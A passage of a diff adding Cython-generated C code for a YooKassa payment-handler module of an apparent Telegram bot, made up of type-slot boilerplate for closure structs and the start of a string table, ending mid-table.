Py_CLEAR(p->__pyx_t_3); + Py_CLEAR(p->__pyx_t_4); + Py_CLEAR(p->__pyx_t_5); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook)))) { + __pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook[__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook++] = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *)o; + if (p->__pyx_v_amount_str) { + e = (*v)(p->__pyx_v_amount_str, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_event) { + e = (*v)(p->__pyx_v_event, a); if (e) return e; + } + if (p->__pyx_v_payment) { + e = (*v)(p->__pyx_v_payment, a); if (e) return e; + } + if (p->__pyx_v_payment_id) { + e = (*v)(p->__pyx_v_payment_id, a); if (e) return e; + } + if (p->__pyx_v_payment_object) { + e = (*v)(p->__pyx_v_payment_object, a); if (e) return e; + } + if (p->__pyx_v_request) { + e = (*v)(p->__pyx_v_request, a); if (e) return e; + } + if (p->__pyx_v_user_id) { + e = (*v)(p->__pyx_v_user_id, a); if (e) return e; + } + if (p->__pyx_v_user_id_str) { + e = (*v)(p->__pyx_v_user_id_str, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + if (p->__pyx_t_3) { + e = (*v)(p->__pyx_t_3, a); if (e) return e; + } + if (p->__pyx_t_4) { + e = (*v)(p->__pyx_t_4, a); if (e) return e; + } + if (p->__pyx_t_5) { + e = (*v)(p->__pyx_t_5, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook_spec = { + "handlers.payments.yookassa_pay.__pyx_scope_struct_2_yookassa_webhook", + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.yookassa_pay.""__pyx_scope_struct_2_yookassa_webhook", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount[8]; +static int __pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount[--__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_state); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount)))) { + __pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount[__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount++] = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount_spec = { + "handlers.payments.yookassa_pay.__pyx_scope_struct_3_process_enter_custom_amount", + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.yookassa_pay.""__pyx_scope_struct_3_process_enter_custom_amount", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input[8]; +static int __pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input[--__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_confirm_keyboard); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_message); + Py_CLEAR(p->__pyx_v_payment); + Py_CLEAR(p->__pyx_v_payment_url); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + Py_CLEAR(p->__pyx_t_3); + Py_CLEAR(p->__pyx_t_4); + Py_CLEAR(p->__pyx_t_5); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input)))) { + __pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input[__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input++] = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_confirm_keyboard) { + e = (*v)(p->__pyx_v_confirm_keyboard, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_message) { + e = (*v)(p->__pyx_v_message, a); if (e) return e; + } + if (p->__pyx_v_payment) { + e = (*v)(p->__pyx_v_payment, a); if (e) return e; + } + if (p->__pyx_v_payment_url) { + e = (*v)(p->__pyx_v_payment_url, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + if (p->__pyx_t_3) { + e = (*v)(p->__pyx_t_3, a); if (e) return e; + } + if (p->__pyx_t_4) { + e = (*v)(p->__pyx_t_4, a); if (e) return e; + } + if (p->__pyx_t_5) { + e = (*v)(p->__pyx_t_5, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input_spec = { + "handlers.payments.yookassa_pay.__pyx_scope_struct_4_process_custom_amount_input", + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.yookassa_pay.""__pyx_scope_struct_4_process_custom_amount_input", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +static PyMethodDef __pyx_methods[] = { + {0, 0, 0, 0} +}; +#ifndef CYTHON_SMALL_CODE +#if defined(__clang__) + #define CYTHON_SMALL_CODE +#elif defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 3)) + #define CYTHON_SMALL_CODE __attribute__((cold)) +#else + #define CYTHON_SMALL_CODE +#endif +#endif +/* #### Code section: pystring_table ### */ + +static int __Pyx_CreateStringTabAndInitStrings(void) { + __Pyx_StringTabEntry __pyx_string_tab[] = { + {&__pyx_kp_u_1_00, __pyx_k_1_00, sizeof(__pyx_k_1_00), 0, 1, 0, 0}, + {&__pyx_kp_u_79000000000, __pyx_k_79000000000, sizeof(__pyx_k_79000000000), 0, 1, 0, 0}, + {&__pyx_kp_u_API_Yookassa, __pyx_k_API_Yookassa, sizeof(__pyx_k_API_Yookassa), 0, 1, 0, 0}, + {&__pyx_kp_u_Account_ID, __pyx_k_Account_ID, sizeof(__pyx_k_Account_ID), 0, 1, 0, 0}, + {&__pyx_n_s_Any, __pyx_k_Any, sizeof(__pyx_k_Any), 0, 0, 1, 1}, + {&__pyx_n_s_Configuration, __pyx_k_Configuration, sizeof(__pyx_k_Configuration), 0, 0, 1, 1}, + {&__pyx_n_s_F, __pyx_k_F, sizeof(__pyx_k_F), 0, 0, 1, 1}, + {&__pyx_n_s_FSMContext, __pyx_k_FSMContext, sizeof(__pyx_k_FSMContext), 0, 0, 1, 1}, + {&__pyx_n_u_HASHHASHYOOKASSA, __pyx_k_HASHHASHYOOKASSA, sizeof(__pyx_k_HASHHASHYOOKASSA), 0, 1, 0, 1}, + {&__pyx_kp_u_ID, __pyx_k_ID, sizeof(__pyx_k_ID), 0, 1, 0, 0}, + {&__pyx_kp_u_ID_2, __pyx_k_ID_2, sizeof(__pyx_k_ID_2), 0, 1, 0, 0}, + {&__pyx_n_s_InlineKeyboardBuilder, __pyx_k_InlineKeyboardBuilder, sizeof(__pyx_k_InlineKeyboardBuilder), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardButton, __pyx_k_InlineKeyboardButton, sizeof(__pyx_k_InlineKeyboardButton), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardMarkup, __pyx_k_InlineKeyboardMarkup, sizeof(__pyx_k_InlineKeyboardMarkup), 0, 0, 1, 1}, + {&__pyx_n_s_MAIN_SECRET, __pyx_k_MAIN_SECRET, sizeof(__pyx_k_MAIN_SECRET), 0, 0, 1, 1}, + {&__pyx_n_s_PAYMENT_OPTIONS, __pyx_k_PAYMENT_OPTIONS, sizeof(__pyx_k_PAYMENT_OPTIONS), 0, 0, 1, 1}, + {&__pyx_n_u_PIRAT4ETO5DLYA0TEBYA, __pyx_k_PIRAT4ETO5DLYA0TEBYA, sizeof(__pyx_k_PIRAT4ETO5DLYA0TEBYA), 0, 1, 0, 1}, + {&__pyx_n_s_Payment, __pyx_k_Payment, sizeof(__pyx_k_Payment), 0, 0, 1, 1}, + {&__pyx_kp_u_Payment_succeeded_for_user_id, __pyx_k_Payment_succeeded_for_user_id, sizeof(__pyx_k_Payment_succeeded_for_user_id), 0, 1, 0, 0}, + 